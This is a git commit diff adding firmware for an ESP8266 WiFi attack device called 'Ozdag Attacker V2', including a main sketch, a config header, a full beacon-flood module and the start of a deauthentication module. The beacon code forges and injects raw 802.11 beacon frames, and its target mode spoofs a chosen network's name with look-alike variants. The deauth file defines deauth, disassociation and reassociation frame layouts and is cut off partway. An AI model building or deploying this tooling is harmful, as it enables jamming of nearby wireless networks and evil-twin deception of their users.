Initial commit with project setup and basic structure established.

This commit is contained in:
m3mo 2025-04-18 05:52:19 +02:00
parent 52be3783f9
commit 75de899bfa
19 changed files with 4119 additions and 0 deletions

View File

@ -0,0 +1,165 @@
/*
* ESP8266 Ozdag Attacker V2
*
* A redesigned WiFi testing tool for ESP8266.
* Starting fresh with a new structure.
*/
#include <Arduino.h>
#include <ESP8266WiFi.h>
#include "src/config.h"
#include "src/ui.h"
#include "src/utils.h"
// Include headers for attack modules
#include "src/scanner.h"
#include "src/deauth.h"
#include "src/beacon.h"
#include "src/mitm.h"
#include "src/rogue_ap.h"
void setup() {
Serial.begin(115200);
Serial.println("\n\nESP8266 Ozdag Attacker V2 Booting...");
// Initialize UI (OLED, Button)
Serial.println("Initializing OLED...");
if (!oled.begin()) {
Serial.println("!!! OLED initialization failed!");
// Optional: loop forever or indicate error differently
while(1) delay(100);
} else {
Serial.println("OLED Initialized OK.");
// --- Start Matrix Boot Animation ---
const char* bootText = "Ozdag Attacker V2";
int textWidth = 0;
int textHeight = 10; // Approx height for 6x10 font
int textX, textY;
const int NUM_STREAMS = 20; // Number of falling character streams
int streamY[NUM_STREAMS];
int streamX[NUM_STREAMS];
int streamSpeed[NUM_STREAMS];
const int streamLen = 5; // How many chars trail behind the leader
const int charHeight = 7; // Approx height for 5x7 font
int animDuration = 3000; // Total animation duration in ms
int stepDelay = 50; // Delay between frames
unsigned long animStartTime = millis();
// Initialize streams
for (int i = 0; i < NUM_STREAMS; ++i) {
streamX[i] = random(0, SCREEN_WIDTH / 5) * 5; // Align to 5px grid roughly
streamY[i] = random(-SCREEN_HEIGHT * 2, 0); // Start off-screen
streamSpeed[i] = random(2, 6); // Random speeds
}
oled.setFont(u8g2_font_6x10_tf); // Font for main text
textWidth = oled.getStrWidth(bootText);
textX = (SCREEN_WIDTH - textWidth) / 2;
textY = SCREEN_HEIGHT - textHeight - 5; // Position text towards bottom
while (millis() - animStartTime < animDuration) {
oled.clearBuffer();
oled.setFont(u8g2_font_5x7_tf); // Font for rain
// Draw and update streams
for (int i = 0; i < NUM_STREAMS; ++i) {
// Draw stream tail (dimmer or different chars could be used)
for (int j = 1; j <= streamLen; ++j) {
int y = streamY[i] - (j * charHeight);
if (y > 0 && y < SCREEN_HEIGHT) {
// Use a random character for the rain
char randomChar = (char)random(33, 127); // Printable ASCII
oled.drawGlyph(streamX[i], y, randomChar);
}
}
// Draw leading character (brighter/different? just random for now)
if (streamY[i] > 0 && streamY[i] < SCREEN_HEIGHT) {
char randomChar = (char)random(33, 127);
oled.drawGlyph(streamX[i], streamY[i], randomChar);
}
// Update position
streamY[i] += streamSpeed[i];
// Reset if off screen
if (streamY[i] - (streamLen * charHeight) > SCREEN_HEIGHT) {
streamX[i] = random(0, SCREEN_WIDTH / 5) * 5;
streamY[i] = random(-charHeight * streamLen, 0); // Reset near top
streamSpeed[i] = random(2, 6);
}
}
// --- Draw Static Text ---
oled.setFont(u8g2_font_6x10_tf); // Switch font for title
oled.setDrawColor(1); // Ensure foreground color
// Optional: Draw a black box behind text for better visibility
// oled.setDrawColor(0);
// oled.drawBox(textX - 1, textY - textHeight, textWidth + 2, textHeight + 2);
// oled.setDrawColor(1);
oled.drawStr(textX, textY, bootText);
oled.sendBuffer();
delay(stepDelay);
}
// --- End Matrix Boot Animation ---
// Clear buffer before showing next init messages if desired
// oled.clearBuffer();
// oled.sendBuffer();
}
ui_init();
Serial.println("UI Initialized.");
// Initialize WiFi in a known state (STA mode, disconnected)
WiFi.mode(WIFI_STA);
WiFi.disconnect();
Serial.println("WiFi Initialized (STA Mode, Disconnected).");
// Initialize attack/scanner modules (call their init functions here)
// Note: Initialization order might matter later depending on dependencies
scanner_init(); // <<< RESTORE
deauth_init(); // <<< RESTORE
beacon_init(); // <<< RESTORE
// dos_init(); // Removed
mitm_init(); // <<< UNCOMMENT
rogue_ap_init(); // <<< UNCOMMENT/RESTORE
Serial.println("Modules Initialized."); // <<< RESTORE
Serial.println("Setup Complete.");
}
void loop() {
// Button handling and drawing are now managed within ui_update()
ui_update();
// Update based on current UI state
switch (currentState) {
case UIState::MAIN_MENU:
// Nothing module-specific runs here
break;
case UIState::SCANNER_MODE:
scanner_update(); // <<< RESTORE
break;
case UIState::DEAUTH_MODE:
deauth_update(); // <<< RESTORE
break;
case UIState::BEACON_MODE:
beacon_update(); // <<< RESTORE
break;
case UIState::MITM_MODE:
mitm_update(); // <<< UNCOMMENT
break;
case UIState::ROGUE_AP_MODE:
rogue_ap_update(); // <<< UNCOMMENT/RESTORE
break;
default:
// Handle unknown state? Maybe just yield.
break;
}
yield(); // Allow background tasks
}

18
platformio.ini Normal file
View File

@ -0,0 +1,18 @@
; PlatformIO Project Configuration File
;
; Build options: build flags, source filter
; Upload options: custom upload port, speed and extra flags
; Library options: dependencies, extra library storages
; Advanced options: extra scripting
;
; Please visit documentation for the other options and examples
; https://docs.platformio.org/page/projectconf.html
[env:nodemcuv3]
platform = espressif8266
board = nodemcuv3
framework = arduino
monitor_speed = 115200
lib_deps =
; OLED Display Library
olikraus/U8g2 @ ^2.35.8

465
src/beacon.cpp Normal file
View File

@ -0,0 +1,465 @@
#include "beacon.h"
#include "ui.h" // For drawing, state access, OLED
#include "utils.h" // For random MAC, etc.
#include "config.h" // <<< Ensures MAX_LINES_PER_SCREEN is visible
#include "scanner.h" // <<< Included via beacon.h, ensures MAX_APS is visible
#include <U8g2lib.h> // For OLED drawing
#include <cstring> // For memcpy, strlen
#include <cstddef> // For offsetof
#include <algorithm> // For std::min
// --- Global Variable Definitions ---
bool beacon_flood_active = false;
uint8_t beacon_target_ap_bssid[6] = {0};
char beacon_target_ap_ssid[33] = {0};
uint8_t beacon_target_ap_channel = 0;
// --- Internal State ---
static BeaconStateType currentBeaconState = BeaconStateType::MODE_SELECTION; // Start at mode selection
static unsigned long last_beacon_time = 0;
static unsigned long last_redraw_time = 0; // <<< Add timer for redraw
static unsigned long last_channel_hop_time = 0;
static uint8_t current_beacon_channel = 1;
static uint32_t beacon_packets_sent = 0;
static int current_ssid_index = 0;
static int selected_mode_index = 0; // 0 = Random, 1 = Target
static int target_ssid_variation_index = 0; // Index for cycling through variations
static const char* mode_names[] = {"Random", "Target"};
// Target AP Selection state
static int selected_ap_index = 0; // Index within the *scanner's* ap_list
static int ap_display_offset = 0; // For scrolling AP list
// Access scanner data (ensure scanner.h included and these are accessible)
extern AccessPointInfo ap_list[MAX_APS];
extern uint8_t ap_count;
// --- SSID List for Flooding ---
// Example list - can be expanded or loaded from SD card later
static const char* beacon_ssid_list[MAX_BEACON_SSIDS] = {
"Free Public WiFi", "Airport WiFi", "Coffee Shop Guest", "Hotel Guest",
"FBI Surveillance Van", "Totally Legit Network", "Virus Update Server",
"Your AP Sucks", "Upgrade Now!", "Network Not Found", "Loading...",
"Hidden Network", "Pretty Fly for a Wi-Fi", "Get Off My LAN",
"Definitely Not a Trap", "Secure Network", "Guest Access Point",
"Mobile Hotspot", "Connect Here", "Ozdag Attacker"
};
static const int beacon_ssid_list_count = sizeof(beacon_ssid_list) / sizeof(char*);
// --- Target Mode SSID Variations ---
static const char* target_suffixes[] = {
"", // Original SSID
".",
"..",
" guest",
" Setup",
"_EXT",
"-5G", // Common variations
" Free WiFi"
};
static const int num_target_suffixes = sizeof(target_suffixes) / sizeof(target_suffixes[0]);
// --- External UI Elements ---
extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled;
extern bool needsRedraw;
extern UIState currentState; // To return to main menu
// --- Constants (Defined in beacon.h) ---
// #define BEACON_PACKET_INTERVAL 10
// #define BEACON_CHANNEL_HOP_INTERVAL 500 // <<< REMOVE duplicate definition
// #define MAX_BEACON_SSIDS 20
// #define MAX_SSID_LEN 32
// --- Beacon Packet Structure ---
// Based on common beacon frame fields
typedef struct {
frame_control_t frame_control; // Type: Mgmt, Subtype: Beacon (0x80)
uint16_t duration_id; // Typically 0
uint8_t addr1[6]; // Destination: Broadcast (FF:FF:FF:FF:FF:FF)
uint8_t addr2[6]; // Source: Random BSSID
uint8_t addr3[6]; // BSSID: Same as Source
uint16_t seq_ctrl; // Sequence number (auto-incremented by SDK if sys_seq=true?)
// --- Wireless Management Fields ---
uint64_t timestamp; // Typically 0 or current time (can be fixed)
uint16_t beacon_interval; // Time between beacons (e.g., 100 TU = 102.4ms)
uint16_t capability_info; // Capabilities (e.g., 0x0411 for ESS, Privacy, Short Preamble)
// --- Tagged Parameters ---
// Tag: SSID parameter set (0)
uint8_t ssid_tag_num; // 0
uint8_t ssid_len; // Length of SSID
uint8_t ssid[MAX_SSID_LEN]; // SSID itself
// Tag: Supported Rates (1)
uint8_t rates_tag_num; // 1
uint8_t rates_len; // Number of rates (e.g., 8)
uint8_t rates[8]; // Example: 1, 2, 5.5, 11, 6, 9, 12, 18 Mbps (basic rates marked with 0x80 bit)
// Tag: DS Parameter set (3)
uint8_t ds_tag_num; // 3
uint8_t ds_len; // 1
uint8_t ds_channel; // Current channel
// Optional: Add more tags like TIM, Country, RSN if needed
} __attribute__((packed)) beacon_packet_t; // Use packed attribute for precise layout
// Define standard supported rates (802.11b/g) - Basic rates have MSB set
static const uint8_t default_rates[] = {0x82, 0x84, 0x8B, 0x96, 0x0C, 0x12, 0x18, 0x24}; // 1, 2, 5.5, 11, 6, 9, 12, 18 Mbps
static const uint8_t default_rates_len = sizeof(default_rates);
static beacon_packet_t beacon_packet; // Reusable packet buffer
// --- Initialization ---
void beacon_init() {
Serial.println("Beacon Module Initialized.");
currentBeaconState = BeaconStateType::MODE_SELECTION; // Start at mode selection
beacon_flood_active = false;
current_beacon_channel = 1;
last_beacon_time = 0;
last_channel_hop_time = 0;
beacon_packets_sent = 0;
current_ssid_index = 0;
selected_mode_index = 0;
selected_ap_index = 0;
ap_display_offset = 0;
memset(beacon_target_ap_bssid, 0, 6);
memset(beacon_target_ap_ssid, 0, 33);
beacon_target_ap_channel = 0;
// Ensure WiFi is in a state suitable for injection (promiscuous STA)
// This might already be set by deauth_init, but good to ensure
wifi_promiscuous_enable(0); // Disable first to reset if needed
wifi_set_opmode(STATION_MODE);
// wifi_promiscuous_enable(1); // <<< COMMENT THIS OUT FOR NOW
// Serial.println("Beacon Init: Promiscuous mode enabled."); // <<< COMMENT THIS OUT
// Set initial channel (will be overridden if target mode selected)
// Don't set channel here, wait until flooding starts
// wifi_set_channel(current_beacon_channel);
// Serial.printf("Beacon Init: Set initial channel to %d\n", current_beacon_channel);
needsRedraw = true; // Trigger UI redraw for the beacon screen
}
// --- Stop Function ---
void beacon_stop() {
if (beacon_flood_active) {
beacon_flood_active = false;
currentBeaconState = BeaconStateType::MODE_SELECTION; // Return to mode selection
Serial.println("Beacon Flood Stopped.");
// Optional: Restore original channel? Disable promiscuous?
wifi_promiscuous_enable(0); // <<< Disable promiscuous mode on stop
Serial.println("Beacon Stop: Disabled promiscuous mode.");
needsRedraw = true;
}
}
// --- Main Update Loop ---
void beacon_update() {
// Only run flooding logic if in a flooding state and active
if (!beacon_flood_active || (currentBeaconState != BeaconStateType::FLOODING_RANDOM && currentBeaconState != BeaconStateType::FLOODING_TARGET)) {
return; // Only run logic when actively flooding
}
unsigned long current_time = millis();
bool packet_sent_this_cycle = false; // Flag to check if we sent a packet
// --- Channel Hopping (Only for Random Mode) ---
if (currentBeaconState == BeaconStateType::FLOODING_RANDOM) {
if (current_time - last_channel_hop_time > BEACON_CHANNEL_HOP_INTERVAL) {
current_beacon_channel = (current_beacon_channel % 14) + 1; // Cycle 1-14
bool channel_set_ok = wifi_set_channel(current_beacon_channel);
last_channel_hop_time = current_time;
// Only log if failed, to reduce spam
if (!channel_set_ok) {
Serial.printf("Beacon Random: Set channel %d -> FAIL\n", current_beacon_channel);
}
}
}
// Note: For FLOODING_TARGET, the channel is fixed and set when starting the flood.
// --- Send Beacon Packet ---
if (current_time - last_beacon_time > BEACON_PACKET_INTERVAL) {
// 1. Select SSID based on mode
// Use a temporary buffer for the SSID to send
char ssid_to_send[MAX_SSID_LEN + 1] = {0};
uint8_t ssid_len_to_send = 0;
if (currentBeaconState == BeaconStateType::FLOODING_RANDOM) {
// Use SSID from list
strncpy(ssid_to_send, beacon_ssid_list[current_ssid_index], MAX_SSID_LEN);
ssid_len_to_send = strlen(ssid_to_send);
// Cycle to next list SSID for next time
current_ssid_index = (current_ssid_index + 1) % beacon_ssid_list_count;
} else { // FLOODING_TARGET
// --- Generate SSID Variation for Target Mode ---
const char* base_ssid = beacon_target_ap_ssid;
const char* suffix = target_suffixes[target_ssid_variation_index];
size_t base_len = strlen(base_ssid);
size_t suffix_len = strlen(suffix);
// Construct the SSID, ensuring it fits MAX_SSID_LEN
if (base_len + suffix_len <= MAX_SSID_LEN) {
snprintf(ssid_to_send, sizeof(ssid_to_send), "%s%s", base_ssid, suffix);
} else {
// Suffix doesn't fit, just use the base SSID (truncated if necessary)
strncpy(ssid_to_send, base_ssid, MAX_SSID_LEN);
}
ssid_len_to_send = strlen(ssid_to_send); // Get length of the final SSID
target_ssid_variation_index = (target_ssid_variation_index + 1) % num_target_suffixes; // Cycle to next suffix for the next packet
}
// 2. Generate random BSSID (Source MAC) - Use random for both modes for now
uint8_t random_mac[6];
utils_random_mac(random_mac); // Use utility function
// 3. Fill beacon_packet structure
// Frame Control: Type Mgmt (00), Subtype Beacon (1000) -> 0x80
beacon_packet.frame_control.type = 0; // Management
beacon_packet.frame_control.subtype = 8; // Beacon
beacon_packet.frame_control.flags = 0x00; // Set all flags (ToDS, FromDS, MoreFrag, Retry, PwrMgmt, MoreData, Protected, Order) to 0 for open network
beacon_packet.duration_id = 0;
memset(beacon_packet.addr1, 0xFF, 6); // Destination: Broadcast
memcpy(beacon_packet.addr2, random_mac, 6); // Source: Random MAC
memcpy(beacon_packet.addr3, random_mac, 6); // BSSID: Random MAC
beacon_packet.seq_ctrl = 0; // Let SDK handle sequence number (sys_seq=true)
beacon_packet.timestamp = 0; // Can be micros() but 0 is fine
beacon_packet.beacon_interval = 100; // 100 TU = 102.4 ms
beacon_packet.capability_info = 0x0411; // ESS, Short Preamble, Short Slot Time (Open Network)
// Use 0x0431 if you want to set the Protected Frame bit in flags to 1 (beacon_packet.frame_control.flags = 0x40;)
// Tagged Parameters
beacon_packet.ssid_tag_num = 0; // Tag 0: SSID
beacon_packet.ssid_len = ssid_len_to_send;
memcpy(beacon_packet.ssid, ssid_to_send, ssid_len_to_send);
beacon_packet.rates_tag_num = 1; // Tag 1: Supported Rates
beacon_packet.rates_len = default_rates_len;
memcpy(beacon_packet.rates, default_rates, default_rates_len);
beacon_packet.ds_tag_num = 3; // Tag 3: DS Parameter Set (Channel)
beacon_packet.ds_len = 1;
beacon_packet.ds_channel = current_beacon_channel;
// 4. Calculate actual packet size
// Correct calculation: Size up to SSID field + Tag overhead + Actual SSID Len + Rates Tag overhead + Rates Len + DS Tag overhead + DS Channel Len
size_t packet_size = offsetof(beacon_packet_t, ssid) // Size up to SSID field start
+ 2 // SSID Tag Num (1) + SSID Len (1)
+ ssid_len_to_send // Actual SSID length
+ 2 // Rates Tag Num (1) + Rates Len (1)
+ default_rates_len // Actual rates length
+ 2 // DS Tag Num (1) + DS Len (1)
+ 1; // DS Channel (1 byte)
// 4. Call wifi_send_pkt_freedom
int result = wifi_send_pkt_freedom((uint8_t*)&beacon_packet, packet_size, false); // sys_seq=false for now
// <<< Log EVERY send attempt and result >>>
Serial.printf("Beacon Send: Ch=%d, SSID='%s', Size=%d, Result=%d\n",
current_beacon_channel, ssid_to_send, packet_size, result);
if (result == 0) { // Check if sending was successful
beacon_packets_sent++; // Increment only on success
packet_sent_this_cycle = true; // Mark that we sent one
} else {
Serial.printf("!!! Beacon send failed! Result: %d\n", result); // <<< Log failures
}
last_beacon_time = current_time;
}
// --- Trigger Redraw Periodically ---
// Update roughly twice per second if packets were sent
if (packet_sent_this_cycle && (current_time - last_redraw_time > 500)) {
needsRedraw = true;
last_redraw_time = current_time;
}
// Yield occasionally to prevent WDT resets
yield();
}
// --- UI Drawing Function ---
// Helper to draw AP list for selection
void beacon_draw_target_selection() {
oled.setFont(u8g2_font_5x7_tf); // Use smaller font for title
int y = 22; // Start position below header
oled.drawStr(0, y, "Select Target AP:");
y += 10; // Move down for the list
oled.setFont(u8g2_font_5x7_tf); // Use smaller font for list items
int line_height = 9; // Adjusted line height for 5x7 font
const int items_per_page = 3; // Show 3 items
// Adjust offset if selection goes off screen
if (selected_ap_index < ap_display_offset) {
ap_display_offset = selected_ap_index;
}
// Ensure offset doesn't make selection go past the last item on the screen
if (selected_ap_index >= ap_display_offset + items_per_page) {
ap_display_offset = selected_ap_index - items_per_page + 1;
}
// Ensure offset doesn't go beyond possible start indices
if (ap_count > items_per_page && ap_display_offset > ap_count - items_per_page) {
ap_display_offset = ap_count - items_per_page;
}
if (ap_display_offset < 0) { // Prevent negative offset
ap_display_offset = 0;
}
for (int i = 0; i < items_per_page; ++i) { // Loop only 3 times
int current_ap_list_index = ap_display_offset + i;
if (current_ap_list_index >= ap_count) break; // Don't draw past the end
AccessPointInfo* ap = &ap_list[current_ap_list_index];
char line_buffer[40]; // Buffer for SSID + channel
// Indicate selection
char indicator = (current_ap_list_index == selected_ap_index) ? '>' : ' ';
// Format SSID (truncate if needed) and channel
snprintf(line_buffer, sizeof(line_buffer), "%c%.16s (%d)",
indicator,
ap->ssid[0] == '\0' ? "[Hidden]" : ap->ssid, // Handle hidden SSIDs
ap->channel);
oled.drawStr(0, y + i * line_height, line_buffer); // Use adjusted line_height
}
if (ap_count == 0) {
oled.setFont(u8g2_font_6x10_tf); // Switch back for message
oled.drawStr(10, 40, "No APs found!");
oled.drawStr(10, 55, "Run Scanner first.");
}
// Draw scroll indicators if necessary
if (ap_count > items_per_page) {
if (ap_display_offset > 0) {
oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20); // Up arrow (position adjusted)
}
if (ap_display_offset + items_per_page < ap_count) {
oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down arrow
}
}
oled.setFont(u8g2_font_5x7_tf); // Ensure smaller font for footer
oled.drawStr(0, SCREEN_HEIGHT -1, "SHORT:Next LONG:Select");
// Reset font if needed before returning (good practice)
oled.setFont(u8g2_font_6x10_tf);
}
void beacon_draw() {
// Draw UI based on currentBeaconState
oled.setFont(u8g2_font_6x10_tf); // Consistent font
switch (currentBeaconState) {
case BeaconStateType::MODE_SELECTION:
oled.drawStr(0, 25, "Beacon Flood Mode:");
for (int i = 0; i < 2; ++i) {
char indicator = (i == selected_mode_index) ? '>' : ' ';
oled.drawStr(10, 40 + i * 12, String(indicator + String(mode_names[i])).c_str());
}
oled.setFont(u8g2_font_5x7_tf); // Use smaller font for footer
oled.drawStr(0, SCREEN_HEIGHT -1, "SHORT:Next LONG:Select");
oled.setFont(u8g2_font_6x10_tf); // Reset font if needed for other parts
break;
case BeaconStateType::SELECT_TARGET_AP:
beacon_draw_target_selection(); // Call helper
break;
case BeaconStateType::FLOODING_RANDOM:
case BeaconStateType::FLOODING_TARGET: // Same display for both flooding modes
oled.drawStr(0, 25, "Beacon Flood Active!");
char count_str[30];
snprintf(count_str, sizeof(count_str), "Sent: %lu", beacon_packets_sent);
oled.drawStr(0, 40, count_str);
char chan_str[20];
// Show target SSID/Channel if target mode
if (currentBeaconState == BeaconStateType::FLOODING_TARGET) {
snprintf(chan_str, sizeof(chan_str), "Tgt: %.10s Ch:%d", beacon_target_ap_ssid, current_beacon_channel);
} else {
snprintf(chan_str, sizeof(chan_str), "Channel: %d (Hop)", current_beacon_channel);
}
oled.drawStr(0, 55, chan_str);
oled.setFont(u8g2_font_5x7_tf); // Use smaller font for footer
oled.drawStr(0, SCREEN_HEIGHT -1, "LONG: Stop");
oled.setFont(u8g2_font_6x10_tf); // Reset font
break;
}
}
// --- Input Handling Function ---
void beacon_handle_input(ButtonPressType pressType) {
switch (currentBeaconState) {
case BeaconStateType::MODE_SELECTION:
if (pressType == ButtonPressType::SHORT_PRESS) {
selected_mode_index = (selected_mode_index + 1) % 2;
needsRedraw = true;
} else if (pressType == ButtonPressType::LONG_PRESS) {
if (selected_mode_index == 0) { // Random selected
// Start Random flooding
beacon_flood_active = true;
currentBeaconState = BeaconStateType::FLOODING_RANDOM;
beacon_packets_sent = 0;
current_beacon_channel = 1; // Start channel hopping at 1
wifi_set_channel(current_beacon_channel);
last_channel_hop_time = millis();
last_beacon_time = millis();
current_ssid_index = 0;
Serial.println("Beacon Flood Started (Random Mode).");
// <<< Enable Promiscuous Mode >>>
wifi_promiscuous_enable(1);
Serial.println("Beacon Start (Random): Enabled promiscuous mode.");
needsRedraw = true;
} else { // Target selected
// Go to AP selection screen
currentBeaconState = BeaconStateType::SELECT_TARGET_AP;
selected_ap_index = 0; // Reset selection
ap_display_offset = 0;
needsRedraw = true;
}
}
break;
case BeaconStateType::SELECT_TARGET_AP:
if (ap_count == 0) { // No APs to select
if (pressType == ButtonPressType::LONG_PRESS) { // Go back
currentBeaconState = BeaconStateType::MODE_SELECTION;
needsRedraw = true;
}
break;
}
if (pressType == ButtonPressType::SHORT_PRESS) {
selected_ap_index = (selected_ap_index + 1) % ap_count;
needsRedraw = true;
} else if (pressType == ButtonPressType::LONG_PRESS) {
// Target AP selected, store its info
AccessPointInfo* target_ap = &ap_list[selected_ap_index];
memcpy(beacon_target_ap_bssid, target_ap->bssid, 6);
strncpy(beacon_target_ap_ssid, target_ap->ssid, 32);
beacon_target_ap_ssid[32] = '\0'; // Ensure null termination
beacon_target_ap_channel = target_ap->channel;
// Start Target flooding
beacon_flood_active = true;
currentBeaconState = BeaconStateType::FLOODING_TARGET;
beacon_packets_sent = 0;
current_beacon_channel = beacon_target_ap_channel; // Use target channel
Serial.printf("Beacon Start: Setting fixed channel %d for target '%s'\n", current_beacon_channel, beacon_target_ap_ssid);
wifi_set_channel(current_beacon_channel);
last_beacon_time = millis();
// No channel hopping, so last_channel_hop_time isn't used here
// <<< Enable Promiscuous Mode >>>
wifi_promiscuous_enable(1);
Serial.println("Beacon Start (Target): Enabled promiscuous mode.");
needsRedraw = true;
Serial.println("Beacon Flood Started (Target Mode).");
}
break;
case BeaconStateType::FLOODING_RANDOM:
case BeaconStateType::FLOODING_TARGET:
if (pressType == ButtonPressType::LONG_PRESS) {
beacon_stop(); // Use the stop function
}
break;
}
}

45
src/beacon.h Normal file
View File

@ -0,0 +1,45 @@
#ifndef BEACON_H
#define BEACON_H
#include <Arduino.h>
#include <ESP8266WiFi.h> // For MAC address type, channel functions
#include "ui.h" // For ButtonPressType, UIState access
#include "scanner.h" // <<< INCLUDE for AccessPointInfo definition
// --- Beacon Module States ---
enum class BeaconStateType {
MODE_SELECTION, // Choose between Random / Target
SELECT_TARGET_AP, // Show AP list from scanner to choose target
FLOODING_RANDOM, // Flooding random SSIDs from list (old behavior)
FLOODING_TARGET // Flooding target SSID with random BSSIDs
};
// --- Constants ---
#define BEACON_PACKET_INTERVAL 10 // ms between sending beacon packets (adjust as needed)
#define BEACON_CHANNEL_HOP_INTERVAL 500 // ms between channel changes
#define MAX_BEACON_SSIDS 20 // Max number of SSIDs in our list
#define MAX_SSID_LEN 32
// --- Global Variables (accessible by other modules if needed) ---
extern bool beacon_flood_active;
extern uint8_t beacon_target_ap_bssid[6]; // Store selected target BSSID
extern char beacon_target_ap_ssid[33]; // Store selected target SSID
extern uint8_t beacon_target_ap_channel; // Store selected target channel
// --- Function Declarations ---
void beacon_init();
void beacon_update();
void beacon_stop(); // Function to stop the flood cleanly
void beacon_draw(); // Function to draw beacon UI based on state
void beacon_handle_input(ButtonPressType pressType); // Handle button presses
// --- SDK function declarations (already in deauth.h, but good practice) ---
extern "C" {
#include "user_interface.h"
int wifi_send_pkt_freedom(uint8_t *buf, int len, bool sys_seq);
bool wifi_set_channel(uint8_t channel);
uint8_t wifi_get_channel();
// Add others if needed (e.g., wifi_promiscuous_enable)
}
#endif // BEACON_H

42
src/config.h Normal file
View File

@ -0,0 +1,42 @@
#ifndef CONFIG_H
#define CONFIG_H
// --- Hardware Pins ---
#define BUTTON_PIN 0 // D3 (often marked FLASH on NodeMCU)
// --- Display ---
#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 64
#define MAX_LINES_PER_SCREEN 5 // Max text lines for lists
#define OLED_SDA_PIN 14 // GPIO14 (D5 on NodeMCU)
#define OLED_SCL_PIN 12 // GPIO12 (D6 on NodeMCU)
#define OLED_RESET_PIN -1 // -1 if not used
// --- Button Timing ---
#define DEBOUNCE_TIME 50 // ms
#define LONG_PRESS_TIME 700 // ms
// --- Battery Monitoring ---
#define BATTERY_PIN A0
// Adjust these values based on your battery and voltage divider (if any)
#define VOLTAGE_MAX 4.2
#define VOLTAGE_MIN 3.3
// --- WiFi ---
#define DEFAULT_WIFI_CHANNEL 1
// --- WiFi Settings ---
// #define MAX_APS_FOUND 30
// #define MAX_STAS_FOUND 50
// #define MAX_SSIDS_SAVED 10
// --- MAC Addresses ---
// #define BROADCAST_MAC {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}
// --- Attack Settings ---
#define DEAUTH_PACKET_INTERVAL 100 // Milliseconds between deauth packets
#define BEACON_INTERVAL 100 // Milliseconds for beacon spam
#define MAX_SSID_LEN 32 // Maximum length for SSID strings
#endif // CONFIG_H

717
src/deauth.cpp Normal file
View File

@ -0,0 +1,717 @@
#include "deauth.h"
#include "scanner.h" // Need access to ap_list, sta_list, etc.
#include "ui.h" // For drawing and state access
#include "utils.h" // For macToString
#include <U8g2lib.h> // For OLED drawing
#include "config.h" // <<< Add this for SCREEN_WIDTH, SCREEN_HEIGHT
#include <algorithm> // For std::min if needed later
// --- Declare SDK functions needed ---
extern "C" {
#include "user_interface.h" // Already included indirectly? Still good practice.
// Declare the function prototype directly instead of including phy_info.h
void system_phy_set_max_tpw(uint8 max_tpw);
int wifi_set_user_fixed_rate(uint8_t enable_mask, uint8_t rate);
// wifi_send_pkt_freedom is also declared in deauth.h
}
// --- Global Variable Definitions ---
uint8_t deauth_target_ap_bssid[6] = {0};
uint8_t deauth_target_sta_mac[6] = {0};
char deauth_target_ap_ssid[33] = {0};
bool deauth_attack_active = false;
// --- Constant Definitions ---
const uint8_t broadcast_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; // <<< DEFINE as const array
// --- V1 Attack Constants & Variables ---
const uint8_t ATTACK_MODES = 8;
const unsigned long ATTACK_CHANGE_INTERVAL = 100; // ms between attack technique changes (FASTER CYCLE)
const int PACKET_REPEAT_COUNT = 20; // <<< REDUCED: Send fewer packets per burst
const uint8_t NUM_REASONS = 12;
const uint8_t reason_codes[NUM_REASONS] = {
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12
};
uint8_t current_attack_mode = 0; // <<< REMOVE static to make it externally visible
static unsigned long last_attack_change = 0;
static uint16_t deauth_seq_num = 0; // Sequence number moved here
static unsigned long last_packet_rate_update = 0; // <<< DECLARE the variable
// --- Internal State ---
static DeauthStateType currentDeauthState = DeauthStateType::SELECT_AP;
static int selected_ap_index = 0; // Index within the *scanner's* ap_list
static int ap_display_offset = 0; // <<< Add offset for AP list scrolling
static int selected_sta_index = 0; // Index within the filtered list for the selected AP
static int sta_display_offset = 0; // <<< Add offset for STA list scrolling
static uint8_t target_channel = 1; // Channel of the target AP
static uint32_t packets_sent = 0;
// Filtered list of stations for the selected AP
static StationInfo stations_of_selected_ap[MAX_STAS_PER_AP];
static uint8_t stations_of_selected_ap_count = 0;
static const int BROADCAST_STA_INDEX = 0; // Index 0 in the STA list will represent Broadcast
// --- External UI Elements ---
extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled;
extern bool needsRedraw;
extern UIState currentState; // <<< Make sure this is extern (needed for state changes)
extern int currentMenuIndex; // <<< Make sure this is extern (needed for state changes)
extern uint8_t current_channel; // <<< CORRECT TYPE: Match scanner.h (uint8_t)
// --- V1 Packet Structures ---
typedef struct {
frame_control_t frame_control;
uint16_t duration_id;
uint8_t addr1[6];
uint8_t addr2[6];
uint8_t addr3[6];
uint16_t seq_ctrl;
uint16_t reason_code; // Reason for deauthentication
} deauth_packet_t;
typedef struct {
frame_control_t frame_control;
uint16_t duration_id;
uint8_t addr1[6];
uint8_t addr2[6];
uint8_t addr3[6];
uint16_t seq_ctrl;
uint16_t reason_code; // Reason for disassociation
} disassoc_packet_t;
typedef struct {
frame_control_t frame_control;
uint16_t duration_id;
uint8_t addr1[6];
uint8_t addr2[6];
uint8_t addr3[6];
uint16_t seq_ctrl;
uint16_t auth_alg;
uint16_t auth_seq;
uint16_t status_code;
} auth_packet_t;
typedef struct {
frame_control_t frame_control;
uint16_t duration_id;
uint8_t addr1[6];
uint8_t addr2[6];
uint8_t addr3[6];
uint16_t seq_ctrl;
uint16_t cap_info;
uint16_t listen_interval;
uint8_t current_ap_mac[6]; // Added field for Reassoc Req
// Optional: Add SSID element, Supported Rates element if needed
} reassoc_req_packet_t; // Note: V1 used fixed size, this is more structured
typedef struct {
frame_control_t frame_control;
uint16_t duration_id;
uint8_t addr1[6];
uint8_t addr2[6];
uint8_t addr3[6];
uint16_t seq_ctrl;
uint16_t cap_info;
uint16_t listen_interval;
uint8_t current_ap_mac[6]; // Added field for Reassoc Req
// Optional: Add SSID element, Supported Rates element if needed
} null_data_packet_t;
// --- End V1 Packet Structures ---
// --- V1 Packet Templates (will be populated dynamically) ---
static uint8_t deauth_packet_buffer[sizeof(deauth_packet_t)];
